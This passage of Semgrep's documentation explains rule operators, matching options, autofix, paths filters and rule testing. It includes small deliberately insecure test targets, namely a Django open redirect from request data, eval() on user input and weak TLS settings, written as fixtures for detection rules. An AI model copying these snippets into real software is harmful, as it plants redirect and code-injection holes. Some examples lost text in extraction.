The `pattern-not-regex` operator filters results using a [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html) regular expression in multiline mode. This is most useful when combined with regular-expression-only rules, providing an easy way to filter findings without having to use negative lookaheads. `pattern-not-regex` works with regular `pattern` clauses, too.
The syntax for this operator is the same as `pattern-regex`.
This operator filters findings that have *any overlap* with the supplied regular expression. For example, if you use `pattern-regex` to detect `Foo==1.1.1` and it also detects `Foo-Bar==3.0.8` and `Bar-Foo==3.0.8`, you can use `pattern-not-regex` to filter the unwanted findings.
```yaml theme={null}
rules:
- id: detect-only-foo-package
languages:
- regex
message: Found foo package
patterns:
- pattern-regex: foo
- pattern-not-regex: foo-
- pattern-not-regex: -foo
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={2} theme={null}
# ruleid: detect-only-foo-package
foo==1.1.1
# ok: detect-only-foo-package
foo-bar==3.0.8
# ok: detect-only-foo-package
bar-foo==3.0.8
```
### `focus-metavariable`
The `focus-metavariable` operator focuses on, or *zooms in* on, the code region matched by a single metavariable or a list of metavariables. For example, to find all functions' arguments annotated with the type `bad`, you may write the following pattern:
```yaml theme={null}
pattern: |
def $FUNC(..., $ARG : bad, ...):
...
```
This works, but it matches the entire function definition. Sometimes, this is not desirable. If the definition spans hundreds of lines, they are all matched. In particular, if you are using [Semgrep AppSec Platform](https://semgrep.dev/login) and you have triaged a finding generated by this pattern, the same finding shows up again as new if you make any change to the definition of the function!
To specify that you are only interested in the code matched by a particular metavariable, which, in the example, is `$ARG`, use `focus-metavariable`.
```yaml theme={null}
rules:
- id: find-bad-args
patterns:
- pattern: |
def $FUNC(..., $ARG : bad, ...):
...
- focus-metavariable: $ARG
message: |
`$ARG' has a "bad" type!
languages:
- python
severity: MEDIUM
```
The preceding pattern matches the following:
```python highlight={1} theme={null}
def f(x : bad):
return x
```
Note that `focus-metavariable: $ARG` is not the same as `pattern: $ARG`! Using `pattern: $ARG` finds all the uses of the parameter `x`, which is not the desired behavior! (Note that `pattern: $ARG` does not match the formal parameter declaration, because in this context `$ARG` only matches expressions.)
```yaml theme={null}
rules:
- id: find-bad-args
patterns:
- pattern: |
def $FUNC(..., $ARG : bad, ...):
...
- pattern: $ARG
message: |
`$ARG' has a "bad" type!
languages:
- python
severity: MEDIUM
```
The preceding pattern matches the following:
```python highlight={2} theme={null}
def f(x : bad):
return x
```
In short, `focus-metavariable: $X` is not a pattern in itself. It does not perform any matching; it only focuses the matching on the code already bound to `$X` by other patterns. On the other hand, `pattern: $X` matches `$X` against your code (and in this context, `$X` only matches expressions)!
#### Including multiple focus metavariables using set intersection semantics
Include more `focus-metavariable` keys with different metavariables under the `pattern` to match results **only** for the overlapping region of all the focused code:
```yaml theme={null}
patterns:
- pattern: foo($X, ..., $Y)
- focus-metavariable:
- $X
- $Y
```
```yaml theme={null}
rules:
- id: intersect-focus-metavariable
patterns:
- pattern-inside: foo($X, ...)
- focus-metavariable: $X
- pattern: $Y + ...
- focus-metavariable: $Y
- pattern: "1"
message: Like set intersection, only the overlapping region is highlighted
languages:
- python
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={3} theme={null}
# ruleid: intersect-focus-metavariable
foo (
1
+
2,
1
)
# OK: test
foo (2+ 1, 1)
```
**INFO**
To make a list of multiple focus metavariables using set union semantics that matches the metavariables regardless of their position in code, see [Including multiple focus metavariables using set union semantics](/writing-rules/experiments/multiple-focus-metavariables) documentation.
### `metavariable-regex`
The `metavariable-regex` operator searches metavariables for a [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html) regular expression. This is useful for filtering results based on a [metavariableβs](#metavariables) value. It requires the `metavariable` and `regex` keys and can be combined with other pattern operators.
```yaml theme={null}
rules:
- id: insecure-methods
patterns:
- pattern: module.$METHOD(...)
- metavariable-regex:
metavariable: $METHOD
regex: (insecure)
message: module using insecure method call
languages:
- python
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={2,4,6} theme={null}
# ruleid: insecure-methods
module.insecure1("test")
# ruleid: insecure-methods
module.insecure2("test")
# ruleid: insecure-methods
module.insecure3("test")
# ok: insecure-methods
module.secure("test")
```
Regex matching is **left anchored**. To allow prefixes, use `.*` at the beginning of the regex. To match the end of a string, use `$`. The following example, using the same expression as above but anchored on the right, finds no matches:
````yaml expandable theme={null}
rules:
- id: insecure-methods
patterns:
- pattern: module.$METHOD(...)
- metavariable-regex:
metavariable: $METHOD
regex: (insecure$)
message: module using insecure method call
languages:
- python
severity: HIGH
The following example matches all of the function calls in the same code sample, returning a false positive on the `module.secure` call:
```yaml
rules:
- id: insecure-methods
patterns:
- pattern: module.$METHOD(...)
- metavariable-regex:
metavariable: $METHOD
regex: (.*secure)
message: module using insecure method call
languages:
- python
severity: HIGH
````
**INFO**
Include quotes in your regular expression when using `metavariable-regex` to search string literals. For more details, see [include-quotes](https://semgrep.dev/playground/s/EbDB) code snippet.
### `metavariable-pattern`
The `metavariable-pattern` operator matches metavariables with a pattern formula. This is useful for filtering results based on a [metavariableβs](#metavariables) value. It requires the `metavariable` key, and precisely one key of `pattern`, `patterns`, `pattern-either`, or `pattern-regex`. This operator can be nested as well as combined with other operators.
For example, the `metavariable-pattern` can be used to filter out matches that do **not** match specific criteria:
```yaml theme={null}
rules:
- id: disallow-old-tls-versions2
languages:
- javascript
message: Match found
patterns:
- pattern: |
$CONST = require('crypto');
...
$OPTIONS = $OPTS;
...
https.createServer($OPTIONS, ...);
- metavariable-pattern:
metavariable: $OPTS
patterns:
- pattern-not: >
{secureOptions: $CONST.SSL_OP_NO_SSLv2 | $CONST.SSL_OP_NO_SSLv3
| $CONST.SSL_OP_NO_TLSv1}
severity: MEDIUM
```
The preceding pattern matches the following:
```python highlight={3-9} theme={null}
function bad() {
// ruleid:disallow-old-tls-versions2
var constants = require('crypto');
var sslOptions = {
key: fs.readFileSync('/etc/ssl/private/private.key'),
secureProtocol: 'SSLv23_server_method',
secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3
};
https.createServer(sslOptions);
}
```
**INFO**
In this case, it is possible to start a `patterns` AND operation with a `pattern-not`, because there is an implicit `pattern: ...` that matches the content of the metavariable.
The `metavariable-pattern` is also helpful in combination with `pattern-either`:
```yaml expandable theme={null}
rules:
- id: open-redirect
languages:
- python
message: Match found
patterns:
- pattern-inside: |
def $FUNC(...):
...
return django.http.HttpResponseRedirect(..., $DATA, ...)
- metavariable-pattern:
metavariable: $DATA
patterns:
- pattern-either:
- pattern: $REQUEST
- pattern: $STR.format(..., $REQUEST, ...)
- pattern: $STR % $REQUEST
- pattern: $STR + $REQUEST
- pattern: f"...{$REQUEST}..."
- metavariable-pattern:
metavariable: $REQUEST
patterns:
- pattern-either:
- pattern: request.$W
- pattern: request.$W.get(...)
- pattern: request.$W(...)
- pattern: request.$W[...]
- metavariable-regex:
metavariable: $W
regex: (?!get_full_path)
severity: MEDIUM
```
The preceding pattern matches the following:
```python highlight={2,4} theme={null}
from django.http import HttpResponseRedirect
def unsafe(request):
# ruleid:open-redirect
return HttpResponseRedirect(request.POST.get("url"))
```
**TIP**
It is possible to nest `metavariable-pattern` inside `metavariable-pattern`!
**INFO**
The metavariable should be bound to an expression, a statement, or a list of statements, for this test to be meaningful. A metavariable bound to a list of function arguments, a type, or a pattern always evaluates to false.
#### `metavariable-pattern` with nested language
If the metavariable's content is a string, then it is possible to use `metavariable-pattern` to match this string as code by specifying the target language via the `language` key. See the following examples of `metavariable-pattern`:
**EXAMPLES OF `METAVARIABLE-PATTERN`**
* Match JavaScript code inside HTML in the following [Semgrep Playground](https://semgrep.dev/s/z95k) example.
* Filter regex matches in the following [Semgrep Playground](https://semgrep.dev/s/pkNk) example.
#### Example: Match JavaScript code inside HTML
```yaml theme={null}
rules:
- id: test
languages:
- generic
message: javascript inside html working!
patterns:
- pattern: |
- metavariable-pattern:
language: javascript
metavariable: $...JS
patterns:
- pattern: |
console.log(...)
severity: MEDIUM
```
The preceding pattern matches the following:
```python highlight={2-4} theme={null}
{/* ruleid:test */}
```
#### Example: Filter regex matches
```yaml theme={null}
rules:
- id: test
languages:
- generic
message: "Google dependency: $1 $2"
patterns:
- pattern-regex: gem "(.*)", "(.*)"
- metavariable-pattern:
metavariable: $1
language: generic
patterns:
- pattern: google
severity: LOW
```
The preceding pattern matches the following:
```python highlight={1,6} theme={null}
source "https://rubygems.org"
#OK:test
gem "functions_framework", "~> 0.7"
#ruleid:test
gem "google-cloud-storage", "~> 1.29"
```
### `metavariable-comparison`
The `metavariable-comparison` operator compares metavariables against a basic [Python comparison](https://docs.python.org/3/reference/expressions.html#comparisons) expression. This is useful for filtering results based on a [metavariable's](/writing-rules/pattern-syntax/#metavariables) numeric value.
The `metavariable-comparison` operator is a mapping that requires the `metavariable` and `comparison` keys. It can be combined with other pattern operators in the following [Semgrep Playground](https://semgrep.dev/s/GWv6) example.
This matches code such as `set_port(80)` or `set_port(443)`, but not `set_port(8080)`.
Comparison expressions support simple arithmetic as well as composition with [Boolean operators](https://docs.python.org/3/reference/expressions.html#boolean-operations) to allow for more complex matching. This is particularly useful for checking that metavariables are divisible by particular values, such as enforcing that a specific value is even or odd.
```yaml theme={null}
rules:
- id: superuser-port
languages:
- python
message: module setting superuser port
patterns:
- pattern: set_port($ARG)
- metavariable-comparison:
comparison: $ARG < 1024 and $ARG % 2 == 0
metavariable: $ARG
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={4} theme={null}
# ok: superuser-port
set_port(443)
# ruleid: superuser-port
set_port(80)
# ok: superuser-port
set_port(8080)
```
Building on the previous example, this still matches code such as `set_port(80)`, but it no longer matches `set_port(443)` or `set_port(8080)`.
The `comparison` key accepts a Python expression using:
* Boolean, string, integer, and float literals.
* Boolean operators `not`, `or`, and `and`.
* Arithmetic operators `+`, `-`, `*`, `/`, and `%`.
* Comparison operators `==`, `!=`, `<`, `<=`, `>`, and `>=`.
* Function `int()` to convert strings into integers.
* Function `str()` to convert numbers into strings.
* Function `today()` that gets today's date as a float representing epoch time.
* Function `strptime()` that converts strings in the format `"yyyy-mm-dd"` to a float representing the date in epoch time.
* Lists, together with the `in`, and `not in` infix operators.
* Strings, together with the `in` and `not in` infix operators, for substring containment.
* Function `re.match()` to match a regular expression (without the optional `flags` argument).
* Function `lower()` converts strings to lower case.
* Function `upper()` converts strings to upper case.
You can use Semgrep metavariables such as `$MVAR`, which Semgrep evaluates as follows:
* If `$MVAR` binds to a literal, then that literal is the value assigned to `$MVAR`.
* If `$MVAR` binds to a code variable that is a constant, and constant propagation is enabled (as it is by default), then that constant is the value assigned to `$MVAR`.
* Otherwise, the code bound to the `$MVAR` is kept unevaluated, and its string representation can be obtained using the `str()` function, as in `str($MVAR)`. For example, if `$MVAR` binds to the code variable `x`, `str($MVAR)` evaluates to the string literal `"x"`.
#### Legacy `metavariable-comparison` keys
**INFO**
You can avoid using the legacy keys described below (`base: int` and `strip: bool`) by using the `int()` function, as in `int($ARG) > 0o600` or `int($ARG) > 2147483647`.
The `metavariable-comparison` operator also takes optional `base: int` and `strip: bool` keys. These keys set the integer base the metavariable value should be interpreted as and remove quotes from the metavariable value, respectively.
```yaml theme={null}
rules:
- id: excessive-permissions
languages:
- python
message: module setting excessive permissions
patterns:
- pattern: set_permissions($ARG)
- metavariable-comparison:
comparison: $ARG > 0o600
metavariable: $ARG
base: 8
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={2} theme={null}
# ruleid: excessive-permissions
set_permissions(0o700)
# ok: excessive-permissions
set_permissions(0o400)
```
This interprets metavariable values found in code as octal. As a result, Semgrep detects `0700`, but it does **not** detect `0400`.
```yaml theme={null}
rules:
- id: int-overflow
languages:
- python
message: Potential integer overflow
patterns:
- pattern: int($ARG)
- metavariable-comparison:
strip: true
comparison: $ARG > 2147483647
metavariable: $ARG
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={2} theme={null}
# ruleid: int-overflow
int("2147483648")
# ok: int-overflow
int("2147483646")
```
This removes quotes (`'`, `"`, and `` ` ``) from both ends of the metavariable content. As a result, Semgrep detects `"2147483648"`, but it does **not** detect `"2147483646"`. This is useful when you expect strings to contain integer or float data.
### `metavariable-name`
**TIP**
* `metavariable-name` requires a Semgrep account and the use of Semgrep's proprietary engine since it requires name resolution information. This means that it does **not** work with the `--oss-only` flag.
* While optional, you can improve the accuracy of `metavariable-name` by enabling **[cross-file analysis](/getting-started/cli#enable-cross-file-analysis)**.
The `metavariable-name` operator adds a constraint to the types of identifiers a metavariable can match. Currently, the only constraint supported is on the module or namespace from which an identifier originates. This is useful for filtering results in languages that don't have a native syntax for fully qualified names, or languages where module names may contain characters that are not legal in identifiers, such as JavaScript or TypeScript.
```yaml theme={null}
rules:
- id: insecure-method
patterns:
- pattern: $MODULE.insecure(...)
- metavariable-name:
metavariable: $MODULE
module: "@foo-bar"
message: Uses insecure method from @foo-bar.
languages:
- javascript
severity: HIGH
```
The preceding pattern matches the following:
```javascript highlight={10,12} theme={null}
// ECMAScript modules
import * as lib from '@foo-bar';
import * as lib2 from 'myotherlib';
// CommonJS modules
const { insecure } = require('@foo-bar');
const lib3 = require('myotherlib');
// ruleid: insecure-method
lib.insecure("test");
// ruleid: insecure-method
insecure("test");
// ok: insecure-method
lib.secure("test");
// ok: insecure-method
lib2.insecure("test");
// ok: insecure-method
lib3.insecure("test");
```
If a match should occur if the metavariable matches one of a variety of matches, there is also a shorthand `modules` key, which takes a list of module names.
```yaml theme={null}
rules:
- id: insecure-method
patterns:
- pattern: $MODULE.method(...)
- metavariable-name:
metavariable: $MODULE
modules:
- foo
- bar
message: Uses insecure method from @foo-bar.
languages:
- javascript
severity: HIGH
```
This can be useful in instances where there may be multiple API-compatible packages that share an issue.
### `pattern-not`
The `pattern-not` operator is the opposite of the `pattern` operator. It finds code that does not match its expression. This is useful for eliminating common false positives.
```yaml theme={null}
rules:
- id: unverified-db-query
patterns:
- pattern: db_query(...)
- pattern-not: db_query(..., verify=True, ...)
message: Found unverified db query
severity: HIGH
languages:
- python
```
The preceding pattern matches the following:
```python highlight={2} theme={null}
# ruleid: unverified-db-query
db_query("SELECT * FROM ...")
# ok: unverified-db-query
db_query("SELECT * FROM ...", verify=True, env="prod")
```
Alternatively, `pattern-not` accepts a `patterns` or `pattern-either` property and negates everything inside the property.
```yaml theme={null}
rules:
- id: unverified-db-query
patterns:
- pattern: db_query(...)
- pattern-not:
pattern-either:
- pattern: db_query(..., verify=True, ...)
- pattern-inside: |
with ensure_verified(db_query):
db_query(...)
message: Found unverified db query
severity: HIGH
languages:
- python
```
### `pattern-inside`
The `pattern-inside` operator keeps matched findings that reside within its expression. This is useful for finding code within other pieces of code, such as functions or if blocks.
```yaml theme={null}
rules:
- id: return-in-init
patterns:
- pattern: return ...
- pattern-inside: |
class $CLASS:
...
- pattern-inside: |
def __init__(...):
...
message: return should never appear inside a class __init__ function
languages:
- python
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={4} theme={null}
class A:
def __init__(self):
# ruleid: return-in-init
return None
class B:
def __init__(self):
# ok: return-in-init
self.inited = True
def foo():
# ok: return-in-init
return 5
```
### `pattern-not-inside`
The `pattern-not-inside` operator keeps matched findings that do not reside within its expression. It is the opposite of `pattern-inside`. This is useful for finding code thatβs missing a corresponding cleanup action like disconnect, close, or shutdown. Itβs also helpful in finding problematic code that isn't inside code that mitigates the issue.
```yaml theme={null}
rules:
- id: open-never-closed
patterns:
- pattern: $F = open(...)
- pattern-not-inside: |
$F = open(...)
...
$F.close()
message: file object opened without a corresponding close
languages:
- python
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={3} theme={null}
def func1():
# ruleid: open-never-closed
fd = open('test.txt')
results = fd.read()
return results
def func2():
# ok: open-never-closed
fd = open('test.txt')
results = fd.read()
fd.close()
return results
```
The preceding rule identifies files that are opened but never closed, potentially leading to resource exhaustion. It looks for the `open(...)` pattern *and not* a following `close()` pattern.
The `$F` metavariable ensures that the same variable name is used in the `open` and `close` calls. The ellipsis operator allows any arguments to be passed to `open` and any sequence of code statements to be executed between the `open` and `close` calls. The rule ignores how `open` is called or what happens up to a `close` call; it only needs to make sure `close` is called.
## Metavariable matches
Metavariable matching operates differently for logical AND (`patterns`) and logical OR (`pattern-either`) parent operators. Behavior is consistent across all child operators: `pattern`, `pattern-not`, `pattern-regex`, `pattern-inside`, `pattern-not-inside`.
### Metavariables in logical ANDs
Metavariable values must be identical across sub-patterns when performing logical AND operations with the `patterns` operator.
Example:
```yaml theme={null}
rules:
- id: function-args-to-open
patterns:
- pattern-inside: |
def $F($X):
...
- pattern: open($X)
message: "Function argument passed to open() builtin"
languages: [python]
severity: HIGH
```
This rule matches the following code:
```python theme={null}
def foo(path):
open(path)
```
The example rule doesnβt match this code:
```python theme={null}
def foo(path):
open(something_else)
```
### Metavariables in logical ORs
Metavariable matching does not affect the matching of logical OR operations with the `pattern-either` operator.
Example:
```yaml theme={null}
rules:
- id: insecure-function-call
pattern-either:
- pattern: insecure_func1($X)
- pattern: insecure_func2($X)
message: "Insecure function use"
languages: [python]
severity: HIGH
```
The preceding rule matches both examples below:
```python theme={null}
insecure_func1(something)
insecure_func2(something)
```
```python theme={null}
insecure_func1(something)
insecure_func2(something_else)
```
### Metavariables in complex logic
Metavariable matching still affects subsequent logical ORs if the parent is a logical AND.
Example:
```yaml theme={null}
patterns:
- pattern-inside: |
def $F($X):
...
- pattern-either:
- pattern: bar($X)
- pattern: baz($X)
```
The preceding rule matches both examples below:
```python theme={null}
def foo(something):
bar(something)
```
```python theme={null}
def foo(something):
baz(something)
```
The example rule doesnβt match this code:
```python theme={null}
def foo(something):
bar(something_else)
```
## `options`
Enable, disable, or modify the following matching features:
| Option | Default | Description |
| :---------------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ac_matching` | `true` | [Matching modulo associativity and commutativity](/writing-rules/pattern-syntax.mdx#associative-and-commutative-operators), treat Boolean AND/OR as associative, and bitwise AND/OR/XOR as both associative and commutative. |
| `attr_expr` | `true` | Expression patterns (for example: `f($X)`) matches attributes (for example: `@f(a)`). |
| `commutative_boolop` | `false` | Treat Boolean AND/OR as commutative even if not semantically accurate. |
| `constant_propagation` | `true` | [Constant propagation](/writing-rules/pattern-syntax/#constants), including [intraprocedural flow-sensitive constant propagation](/writing-rules/data-flow/constant-propagation). |
| `decorators_order_matters` | `false` | Match non-keyword attributes (for example: decorators in Python) in order, instead of the order-agnostic default. Keyword attributes (for example: `static`, `inline`, etc) are not affected. |
| `generic_comment_style` | none | In generic mode, assume that comments follow the specified syntax. They are then ignored for matching purposes. Allowed values for comment styles are:
`c` for traditional C-style comments (`/* ... */`).
`cpp` for modern C or C++ comments (`// ...` or `/* ... */`).
`shell` for shell-style comments (`# ...`).
By default, the generic mode does not recognize any comments. Available since Semgrep version 0.96. For more information about generic mode, see the [Generic Pattern Matching](/writing-rules/generic-pattern-matching) documentation. |
| `generic_ellipsis_max_span` | `10` | In generic mode, this is the maximum number of newlines that an ellipsis operator `...` can match, or equivalently, the maximum number of lines covered by the match minus one. The default value is `10` (newlines) for performance reasons. Increase it with caution. Note that the same effect as `20` can be achieved without changing this setting and by writing `... ...` in the pattern instead of `...`. Setting it to `0` is useful with line-oriented languages (for example, [INI](https://en.wikipedia.org/wiki/INI_file) or key-value pairs in general) to prevent a match from extending to the next line of code. Available since Semgrep 0.96. For more information about generic mode, see [Generic pattern matching](/writing-rules/generic-pattern-matching) documentation. |
| `implicit_return` | `true` | Return statement patterns (for example `return $E`) match expressions that may be evaluated last in a function as if there was a return keyword in front of those expressions. Only applies to certain expression-based languages, such as Ruby and Julia. |
| `interfile` | `false` | Set this value to `true` for Semgrep to run this rule with cross-function and cross-file analysis. It is **required** for rules that use cross-function, cross-file analysis. |
| `symmetric_eq` | `false` | Treat equal operations as symmetric (for example: `a == b` is equal to `b == a`). |
| `taint_assume_safe_functions` | `false` | Experimental option which are be subject to future changes. Used in taint analysis. Assume that function calls do **not** propagate taint from their arguments to their output. Otherwise, Semgrep always assumes that functions may propagate taint. Can replace **not-conflicting** sanitizers added in v0.69.0 in the future. |
| `taint_assume_safe_indexes` | `false` | Used in taint analysis. Assume that an array-access expression is safe even if the index expression is tainted. Otherwise, Semgrep assumes that, for example, `a[i]` is tainted if `i is tainted, even if `a\` is not. Enabling this option is recommended for high-signal rules, whereas disabling it is preferred for audit rules. Currently, it is disabled by default to maintain backward compatibility, but this may change in the near future after further evaluation. |
| `vardef_assign` | `true` | Assignment patterns (for example `$X = $E`) match variable declarations (for example `var x = 1;`). |
| `xml_attrs_implicit_ellipsis` | `true` | Any XML/JSX/HTML element patterns have implicit ellipsis for attributes (for example: `` matches `
`. |
The complete list of available options can be consulted in the [Semgrep matching engine configuration](https://github.com/semgrep/semgrep/blob/develop/interfaces/Rule_options.atd) module. Please note that options not included in the table above are considered experimental and may change or be removed without notice.
## `fix`
The `fix` top-level key allows simple pattern fixes by suggesting an alternative for each match. Run `semgrep` with `--autofix` to apply the changes to the files.
Example:
```yaml theme={null}
rules:
- id: use-dict-get
patterns:
- pattern: $DICT[$KEY]
fix: $DICT.get($KEY)
message: "Use `.get()` method to avoid a KeyNotFound error"
languages: [python]
severity: HIGH
```
For more information about `fix` and `--autofix` see [Rule-defined fix](/writing-rules/rule-defined-fix) documentation.
## `metadata`
Provide additional information for a rule with the `metadata:` key, such as a related CWE, likelihood, or OWASP.
Example:
```yaml theme={null}
rules:
- id: eqeq-is-bad
patterns:
- [...]
message: "useless comparison operation `$X == $X` or `$X != $X`"
metadata:
cve: CVE-2077-1234
discovered-by: Ikwa L'equale
languages:
- javascript
- python
- go
severity: MEDIUM
```
The metadata are also displayed in the output of Semgrep if youβre running it with `--json`.
Rules with `category: security` have additional metadata requirements. See [Including fields required by security category](/contributing/contributing-to-semgrep-rules-repository/#fields-required-by-the-security-category) for more information.
## `min-version` and `max-version`
Each rule supports optional fields `min-version` and `max-version` specifying
minimum and maximum Semgrep versions. If the Semgrep
version being used doesn't satisfy these constraints,
the rule is skipped without causing a fatal error.
Example rule:
```yaml theme={null}
rules:
- id: bad-goflags
# earlier semgrep versions can't parse the pattern
min-version: 1.31.0
pattern: |
ENV ... GOFLAGS='-tags=dynamic -buildvcs=false' ...
languages: [dockerfile]
message: "We should not use these flags"
severity: MEDIUM
```
Another use case is when a newer version of a rule works better than
before but relies on a new feature. In this case, you can use
`min-version` and `max-version` to ensure that either the older or the
newer rule is used, but not both. The rules would look like this:
```yaml theme={null}
rules:
- id: something-wrong-v1
max-version: 1.72.999
...
- id: something-wrong-v2
min-version: 1.73.0
# 10x faster than v1!
...
```
The `min-version`/`max-version` feature has been available since Semgrep 1.38.0. It is intended primarily for publishing rules that rely on
newly released features without causing errors in older Semgrep
installations.
## `category`
Provide a category for users of the rule. For example: `best-practice`, `correctness`, `maintainability`. For more information, see [Semgrep Registry rule requirements](/contributing/contributing-to-semgrep-rules-repository/#semgrep-registry-rule-requirements).
## `paths`
### Exclude a rule in paths
To ignore a specific rule on specific files, set the `paths:` key with
one or more filters. The patterns apply to the full file paths
relative to the project root.
Example:
```yaml theme={null}
rules:
- id: eqeq-is-bad
languages:
- python
- javascript
severity: MEDIUM
pattern: $X == $X
paths:
exclude:
- "src/**/*.jinja2"
- "*_test.go"
- "project/tests"
- "project/static/*.js"
```
When invoked with `semgrep -f rule.yaml project/`, the preceding rule runs on files inside `project/`, but no results are returned for:
* any file with a `.jinja2` file extension
* any file whose name ends in `_test.go`, such as `project/backend/server_test.go`
* any file inside `project/tests` or its subdirectories
* any file matching the `project/static/*.js` glob pattern
**NOTE**
The glob syntax is from [Python's `wcmatch`](https://pypi.org/project/wcmatch/) and is used to match against the given file and all its parent directories.
### Limit a rule to paths
Conversely, to run a rule *only* on specific files, set a `paths:` key with one or more of these filters:
```yaml theme={null}
rules:
- id: eqeq-is-bad
pattern: $X == $X
languages:
- python
- javascript
severity: MEDIUM
paths:
include:
- "*_test.go"
- "project/server"
- "project/schemata"
- "project/static/*.js"
- "tests/**/*.js"
```
When invoked with `semgrep -f rule.yaml project/`, this rule runs on files inside `project/`, but results are returned only for:
* files whose name ends in `_test.go`, such as `project/backend/server_test.go`
* files inside `project/server`, `project/schemata`, or their subdirectories
* files matching the `project/static/*.js` glob pattern
* all files with the `.js` extension, arbitrary depth inside the tests folder
If you are writing tests for your rules, add any test file or directory to the included paths as well.
**NOTE**
When mixing inclusion and exclusion filters, the exclusion ones take precedence.
Example:
```yaml theme={null}
paths:
include: "project/schemata"
exclude: "*_internal.py"
```
The preceding rule returns results from `project/schemata/scan.py` but not from `project/schemata/scan_internal.py`.
## Additional examples
This section contains more complex rules that perform advanced code searching.
### Complete useless comparison
```yaml theme={null}
rules:
- id: eqeq-is-bad
languages: [python]
severity: MEDIUM
patterns:
- pattern-not-inside: |
def __eq__(...):
...
- pattern-not-inside: assert(...)
- pattern-not-inside: assertTrue(...)
- pattern-not-inside: assertFalse(...)
- pattern-either:
- pattern: $X == $X
- pattern: $X != $X
- patterns:
- pattern-inside: |
def __init__(...):
...
- pattern: self.$X == self.$X
- pattern-not: 1 == 1
message: "useless comparison operation `$X == $X` or `$X != $X`"
```
The preceding rule makes use of many operators. It utilizes `pattern-either`, `patterns`, `pattern`, and `pattern-inside` to carefully consider different cases, and employs `pattern-not-inside` and `pattern-not` to exclude specific unnecessary comparisons.
## Full specification
The [full configuration-file format](https://github.com/semgrep/semgrep-interfaces/blob/main/rule_schema_v1.yaml) is defined as a [jsonschema](http://json-schema.org/specification.html) object.
# Test rules
Source: https://docs.semgrep.dev/writing-rules/testing-rules
Semgrep provides a testing mechanism for your rules. You can write code and provide annotations to let Semgrep know where you are or aren't expecting findings. Semgrep provides the following annotations:
* `ruleid: ` for protecting against false negatives
* `ok: ` for protecting against false positives
* `todoruleid: ` for future "positive" rule improvements
* `todook: ` for future "negative" rule improvements
When writing tests, remember that:
1. The `--test` flag tells Semgrep to run tests in the specified directory.
2. Annotations are specified as a comment immediately preceding the offending line.
3. Semgrep looks for tests based on the rule filename and the languages
specified in the rule. In other words, `path/to/rule.yaml` searches for
`path/to/rule.py`, `path/to/rule.js`, and similar, based on the languages specified in the rule.
**INFO**
The `.test.yaml` file extension can also be used for test files. This is necessary when testing YAML language rules.
## Test rules with Rule-defined fix
Semgrep's testing mechanism also provides a way to test the behavior of any `fix` values defined in the rules.
To define a test for Rule-defined fix behavior:
Create a new **Rule-defined fix test file** with the `.fixed` suffix before the file type extension. For example, name the Rule-defined fix test file of a rule with test code in `path/to/rule.py` as `path/to/rule.fixed.py`.
Within the Rule-defined fix test file, enter the expected result of applied Rule-defined fix rule to the test code.
Run `semgrep --test` to verify that your Rule-defined fix test file is correctly detected.
When you use `semgrep --test`, Semgrep applies the Rule-defined fix rule to the original test code (`path/to/rule.py`), then verifies whether this matches the expected outcome defined in the Rule-defined fix test file (`path/to/rule.fixed.py`). If there is a mismatch, the line diffs are printed.
**INFO**
**Hint**: Creating a Rule-defined fix test for a rule with Rule-defined fix can take less than a minute with the following flow of commands:
```sh theme={null}
cp rule.py rule.fixed.py
semgrep --config rule.yaml rule.fixed.py --autofix
```
These commands apply the Rule-defined fix to the test code. After Semgrep delivers a fix, inspect whether the outcome of this fix is as expected (for example, using `vimdiff rule.py rule.fixed.py`).
## Example
Consider the following rule:
```yaml theme={null}
rules:
- id: insecure-eval-use
patterns:
- pattern: eval($VAR)
- pattern-not: eval("...")
fix: secure_eval($VAR)
message: Calling 'eval' with user input
languages: [python]
severity: MEDIUM
```
If the filename with the preceding rule is `rules/detect-eval.yaml`, you can create `rules/detect-eval.py`:
```python theme={null}
from lib import get_user_input, safe_get_user_input, secure_eval
user_input = get_user_input()
# ruleid: insecure-eval-use
eval(user_input)
# ok: insecure-eval-use
eval('print("Hardcoded eval")')
totally_safe_eval = eval
# todoruleid: insecure-eval-use
totally_safe_eval(user_input)
# todook: insecure-eval-use
eval(safe_get_user_input())
```
Run the tests with the following:
```sh theme={null}
semgrep --test rules/
```
This produces the following output:
```sh theme={null}
1/1: β All tests passed
No tests for fixes found.
```
Semgrep tests automatically avoid failing on lines marked with `# todoruleid` or `# todook`.
## Store rules and test targets in different directories
Creating different directories for rules and tests helps you manage a growing library of custom rules. To store rules and test targets in different directories, use the `--config` option.
For example, in the directory with the following structure:
```sh theme={null}
$ tree tests
tests
βββ rules
βΒ Β βββ python
βΒ Β βββ insecure-eval-use.yaml
βββ targets
βββ python
βββ insecure-eval-use.py
4 directories, 2 files
```
Use of the following command
```sh theme={null}
semgrep --test --config tests/rules/ tests/targets/
```
Produces the same output as in the previous example.
The subdirectory structure of these two directories must be the same for Semgrep to correctly find the associated files.
To test the Rule-defined fix behavior, add the Rule-defined fix test file `rules/detect-eval.fixed.py` to represent the expected outcome of applying the fix to the test code:
```python theme={null}
from lib import get_user_input, safe_get_user_input, secure_eval
user_input = get_user_input()
# ruleid: insecure-eval-use
secure_eval(user_input)
# ok: insecure-eval-use
eval('print("Hardcoded eval")')
totally_safe_eval = eval
# todoruleid: insecure-eval-use
totally_safe_eval(user_input)
# todook: insecure-eval-use
secure_eval(safe_get_user_input())
```
So that the directory structure is printed as the following:
```sh theme={null}
$ tree tests
tests
βββ rules
βΒ Β βββ python
βΒ Β βββ insecure-eval-use.yaml
βββ targets
βββ python
βββ insecure-eval-use.py
βββ insecure-eval-use.fixed.py
4 directories, 2 files
```
Use of the following command:
```sh theme={null}
semgrep --test --config tests/rules/ tests/targets/
```
Results in the following outcome:
```sh theme={null}
1/1: β All tests passed
